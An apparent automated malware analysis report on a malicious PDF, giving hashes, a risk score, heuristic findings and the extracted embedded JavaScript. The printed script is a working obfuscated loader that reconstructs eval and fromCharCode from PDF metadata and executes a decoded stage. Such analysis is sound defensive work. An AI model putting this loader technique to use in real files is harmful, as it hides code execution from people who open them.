Malicious PDF — malware analysis report

Static analysis result for SHA-256 8e98b4b666973bd7…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2012-10-03
MD5: 4004f324d4c9ea684105f2a68c2cb103 SHA-1: b65b78d138944fe26f6c7f4a876318ca24246a7e SHA-256: 8e98b4b666973bd76419f1c39883169cc442a83ee2bce1c09a520e9fb8959cd8
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFD4 443 bytes
SHA-256: f8c8224bcab94199515797d746aa92895c15bca93816b42f964e0958d34f92ba
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
yxitj=e('ti'.concat(v[4],t));
q=yxitj[v](a.length-6,a.length+2);
rrc=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=yxitj[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	pob = 1*(q[i]);
	i++;
	pob -= (-1)*(q[i]);
	s2 = s2.concat(rrc(pob));
	i++;
}
e(s2);

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